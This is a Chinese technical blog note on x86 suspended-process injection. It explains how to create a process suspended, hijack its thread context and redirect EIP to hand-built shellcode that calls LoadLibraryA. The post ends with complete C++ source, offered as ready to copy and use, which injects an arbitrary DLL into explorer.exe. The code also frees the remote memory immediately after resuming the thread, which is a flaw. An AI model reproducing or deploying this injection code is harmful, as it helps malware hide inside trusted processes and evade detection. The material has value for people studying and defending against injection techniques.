ring3 x32挂起进程注入原理.
- 2019 年 12 月 11 日
- 筆記
目录
一丶挂起进程注入简介与前言
挂起进程其实就是在创建进程的时候不让其先执行.然后获取它的EIP 将它的EIP变成我们ShellCode所在的内存.进行执行.不难.
主要分为几步:
1.以CREATE_SUSPENDED标志挂起创建一个你想注入的进程 2.获取这个进程的上下文环境 GetThreadContext 64位下使用Wow64GetThreadContext 请注意.CONTEXT结构还是同一个.使用64的会出错.亲测.(EIP注入的时候测试过.不相信可以去试试) 3.定义自己的ShellCode. ShellCode主要作用就是注入指定路径下的DLL 4.修复ShellCode 因为毕竟ShellCode地址是绝对的所以修复下即可. 5.在目标进程中申请远程可读写执行内存.并且将修复好的ShellCode写入到目标进程 6.将EIP修改为可读写内存的地址.恢复线程则会调用到我们申请地址位置处开始执行.
7.释放一系列资源.
综上所述.其实没有难点.挂起进程注入主要的核心思想就是 挂起进程修改EIP为我们ShellCode起始位置.然后进行调用即可.
这里核心主要是ShellCode
ShellCode如下:
UCHAR g_ShellCode[] = { 0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修复 0x60, //puad 0x9C, //pushfd 0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位 0x5B, //pop ebx 0x83, 0xEB,0x00, //sub ebx,0 可加可不加 0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址 0x51, //push ecx 0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址 0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧. 0x9D, //popfd 0x61, //popad 0xC3, //ret 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };
ShellCode主要知识点有三个
1.保存contex.EIP 2.重定位LoadLibrary的参数 3.重定位LoadLibrary的地址
下面主要针对这几点讲解.
二丶ShellCode核心讲解.
2.1 保存Contex.EIP
首先挂起进程注入. 你通过CONTEXT 这个结构可以获取 目标进程EIP.但是你要想办法执行完ShellCode之后跳转回去. 所以这里我使用了一个简单的方法
push Address ret
这个方式是利用堆栈.以及ret指令来进行返回的. 当我们保存了原始地址.然后ret的时候.ret会把我们push的地址当做返回地址来执行.
2.2 DLL路径重定位
我们正常来说.调用LoadLibraryA/W的时候.都会进行参数压栈进而进行调用. 如:
push xxxx地址 (地址里面是个DLL路径) call LoadLibraryA; 调用LoadLibrary
而为了方便我直接代码重定位.直接将ShellCode尾部写入我们的DLL路径.
call $0: pop ebx
使用这两句可以得到ebx当前指令指定的EIP的地址. 直接当前 EIP + xxx偏移(偏移是你写DLL路径的位置的偏移) 就是我们的参数地址.
2.3 LoadLibrary的重定位
当你直接使用 Call的方式调用LoadLibrary的时候.你还需要计算偏移.各种等等. 但是这种不需要的.为啥. 因为Windows在启动后 kernel32的基址已经固定了.任何程序启动都会默认加载 kernel32的.所以直接使用LoadLibrary当地址即可. 但是你使用Call的方式 (call LoadLibrary) 你还需要计算你的ShellCode 与LoadLibrary的偏移.所以我们直接使用寄存器来做.
mov reg,LoadLibrary call reg
reg代表任意通用寄存器. 此时我们的ShellCode就可以正常运行了.通过以上步骤就可以开始运行了.
三丶 全部C++代码.拷贝即可使用.
#include <windows.h> #include <stdlib.h> #include <stdio.h> #include <string> using namespace std; UCHAR g_ShellCode[] = { 0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修复 0x60, //puad 0x9C, //pushfd 0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代码重定位 0x5B, //pop ebx 0x83, 0xEB,0x00, //sub ebx,0 可加可不加 0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方获取DLLpath地址 0x51, //push ecx 0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修复LoadLibraryA的地址 0xFF,0XD0, //call eax 为啥使用Mov reg,address call reg. 自己去坑吧. 0x9D, //popfd 0x61, //popad 0xC3, //ret 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填写为DLL路径 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 //不够可以继续添加 }; /* 1.挂起创建Explorer 2.创建ShellCode 3.获取上下文环境 4.申请远程内存 写入ShellCode 5.回去上下文环境 ShellCode 可以写定位LoadLibrary 然后进行调用 */ //1.挂起创建 Explorer PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[]) { BOOL bRet = FALSE; PPROCESS_INFORMATION pi = nullptr; pi = new PROCESS_INFORMATION;; if (pi == nullptr) { return nullptr; } STARTUPINFO si = { 0 }; si.cb = sizeof(STARTUPINFO); //创建挂起进程 bRet = CreateProcess( SuspendProcessName.c_str(), szComand, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, pi); if (bRet == FALSE) { return nullptr; } return pi; } //申请远程内存 LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected) { LPVOID lpBuffer = nullptr; lpBuffer = VirtualAllocEx(hProcess, 0, 0x1000, flAllocation, Protected ); if (lpBuffer != nullptr) return lpBuffer; return nullptr; } //写入ShellCode到远程内存 DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory) { //将ShellCode写入到远程内存 DWORD dwRet = 0; SIZE_T siWriteBytes; if (hProcess == 0) return 0; if (lpExRemoteMemory == nullptr) return 0; dwRet = WriteProcessMemory( hProcess, lpExRemoteMemory, g_ShellCode, sizeof(g_ShellCode) / sizeof(g_ShellCode[0]), &siWriteBytes); return dwRet; } //修复ShellCode,并且将DLL路径写入到ShellCode位置. DWORD FixShellCode(DWORD dwContexEip,char* DllPath) { /* 纵观全局数据区,ShellCode修复的位置有2处 1.首先要修复原Context的EIP. 这样RET之后直接跳转回去. 2.要修复LoadLibrary的地址. 因为Kernel32是直接加载的都是属于内存映射.所以虚拟地址一样.直接获取填入即可. 不用修复DLLpath. 因为自动进行代码重定位写法了. */ //1.修复EIP __try { *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip; //2.修复LodLibrary地址. //修复 *(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA; //将DLL内容拷贝到ShellCode存放路径处 memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1); } __except (EXCEPTION_EXECUTE_HANDLER) { //出错了. } return 1; } void run() { DWORD dwRet = 0; LPVOID lpStartRemoteAddress = nullptr; //1.挂起创建进程 PPROCESS_INFORMATION pi = nullptr; char szCmd[] = ""; pi = StartSuspendProcess("C:\Windows\SysWOW64\explorer.exe",szCmd); if (!pi) { return; } //2.获取进程上下文环境. CONTEXT MyContext = { 0 }; MyContext.ContextFlags = CONTEXT_FULL; dwRet = GetThreadContext(pi->hThread, &MyContext); if (!dwRet) { return; } //3.修复ShellCode的值.并且写入自己的DLL路径 char szDllPath[] = "填入你的DLL路径.如: C:\xxx.dll"; dwRet = FixShellCode(MyContext.Eip,szDllPath); //4.申请远程内存 lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpStartRemoteAddress == nullptr) { return ; } //5.将ShellCode写入到内存中 dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress); //6.恢复进程启动,修改EIP为我们的ShellCode MyContext.Eip = (DWORD)lpStartRemoteAddress; SetThreadContext(pi->hThread, &MyContext); ResumeThread(pi->hThread); //请注意这里 EIP修改为我们的ShellCode位置.还要恢复线程才会进行执行. //释放一系列资源 VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE); CloseHandle(pi->hProcess); CloseHandle(pi->hThread); } int main() { run(); return 0; }